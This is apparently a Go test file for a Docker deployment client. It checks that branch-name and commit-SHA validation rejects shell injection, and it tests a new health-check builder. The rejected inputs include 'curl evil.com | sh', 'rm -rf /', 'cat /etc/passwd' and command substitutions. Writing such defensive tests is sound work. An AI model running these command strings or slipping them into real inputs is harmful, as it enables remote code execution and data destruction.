All checks were successful
Check / check (pull_request) Successful in 1m53s
Add configurable health check commands per app via a new 'healthcheck_command' field. When set, the command is passed to Docker as a CMD-SHELL health check on the container. When empty, the image's default health check is used. Changes: - Add migration 007 for healthcheck_command column on apps table - Add HealthcheckCommand field to App model with full CRUD support - Add buildHealthcheck() to docker client for CMD-SHELL config - Pass health check command through CreateContainerOptions - Add health check command input to app create/edit UI forms - Extract optionalNullString helper to reduce handler complexity - Update README features list closes #81
199 lines
4.2 KiB
Go
199 lines
4.2 KiB
Go
package docker //nolint:testpackage // tests unexported regexps and Client struct
|
|
|
|
import (
|
|
"errors"
|
|
"log/slog"
|
|
"testing"
|
|
"time"
|
|
)
|
|
|
|
func TestValidBranchRegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
"main",
|
|
"develop",
|
|
"feature/my-feature",
|
|
"release-1.0",
|
|
"v1.2.3",
|
|
"fix/issue_42",
|
|
"my.branch",
|
|
}
|
|
for _, b := range valid {
|
|
if !validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be valid", b)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"main; curl evil.com | sh",
|
|
"branch$(whoami)",
|
|
"branch`id`",
|
|
"branch && rm -rf /",
|
|
"branch | cat /etc/passwd",
|
|
"",
|
|
"branch name with spaces",
|
|
"branch\nnewline",
|
|
}
|
|
for _, b := range invalid {
|
|
if validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidCommitSHARegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
"abc123def456789012345678901234567890abcd",
|
|
"0000000000000000000000000000000000000000",
|
|
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
}
|
|
for _, s := range valid {
|
|
if !validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be valid", s)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"short",
|
|
"abc123",
|
|
"ABCDEF1234567890123456789012345678901234", // uppercase
|
|
"abc123def456789012345678901234567890abcd; rm -rf /",
|
|
"$(whoami)000000000000000000000000000000000",
|
|
"",
|
|
}
|
|
for _, s := range invalid {
|
|
if validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestCloneRepoRejectsInjection(t *testing.T) { //nolint:funlen // table-driven test
|
|
t.Parallel()
|
|
|
|
c := &Client{
|
|
log: slog.Default(),
|
|
}
|
|
|
|
tests := []struct {
|
|
name string
|
|
branch string
|
|
commitSHA string
|
|
wantErr error
|
|
}{
|
|
{
|
|
name: "shell injection in branch",
|
|
branch: "main; curl evil.com | sh #",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "command substitution in branch",
|
|
branch: "$(whoami)",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "backtick injection in branch",
|
|
branch: "`id`",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "injection in commitSHA",
|
|
branch: "main",
|
|
commitSHA: "not-a-sha; rm -rf /",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "short SHA rejected",
|
|
branch: "main",
|
|
commitSHA: "abc123",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "valid inputs pass validation (hit NotConnected)",
|
|
branch: "main",
|
|
commitSHA: "abc123def456789012345678901234567890abcd",
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
{
|
|
name: "valid branch no SHA passes validation (hit NotConnected)",
|
|
branch: "main",
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := c.CloneRepo(
|
|
t.Context(),
|
|
"git@example.com:repo.git",
|
|
tt.branch,
|
|
tt.commitSHA,
|
|
"fake-key",
|
|
"/tmp/container",
|
|
"/tmp/host",
|
|
)
|
|
if err == nil {
|
|
t.Fatal("expected error, got nil")
|
|
}
|
|
|
|
if !errors.Is(err, tt.wantErr) {
|
|
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestBuildHealthcheck(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
t.Run("creates CMD-SHELL health check", func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
cmd := "curl -f http://localhost:8080/healthz || exit 1"
|
|
hc := buildHealthcheck(cmd)
|
|
|
|
if len(hc.Test) != 2 {
|
|
t.Fatalf("expected 2 test elements, got %d", len(hc.Test))
|
|
}
|
|
|
|
if hc.Test[0] != "CMD-SHELL" {
|
|
t.Errorf("expected Test[0]=%q, got %q", "CMD-SHELL", hc.Test[0])
|
|
}
|
|
|
|
if hc.Test[1] != cmd {
|
|
t.Errorf("expected Test[1]=%q, got %q", cmd, hc.Test[1])
|
|
}
|
|
})
|
|
|
|
t.Run("sets expected intervals", func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
hc := buildHealthcheck("true")
|
|
|
|
expectedInterval := 30 * time.Second
|
|
if hc.Interval != expectedInterval {
|
|
t.Errorf("expected Interval=%v, got %v", expectedInterval, hc.Interval)
|
|
}
|
|
|
|
expectedTimeout := 10 * time.Second
|
|
if hc.Timeout != expectedTimeout {
|
|
t.Errorf("expected Timeout=%v, got %v", expectedTimeout, hc.Timeout)
|
|
}
|
|
|
|
expectedStartPeriod := 15 * time.Second
|
|
if hc.StartPeriod != expectedStartPeriod {
|
|
t.Errorf("expected StartPeriod=%v, got %v", expectedStartPeriod, hc.StartPeriod)
|
|
}
|
|
|
|
expectedRetries := 3
|
|
if hc.Retries != expectedRetries {
|
|
t.Errorf("expected Retries=%d, got %d", expectedRetries, hc.Retries)
|
|
}
|
|
})
|
|
}
|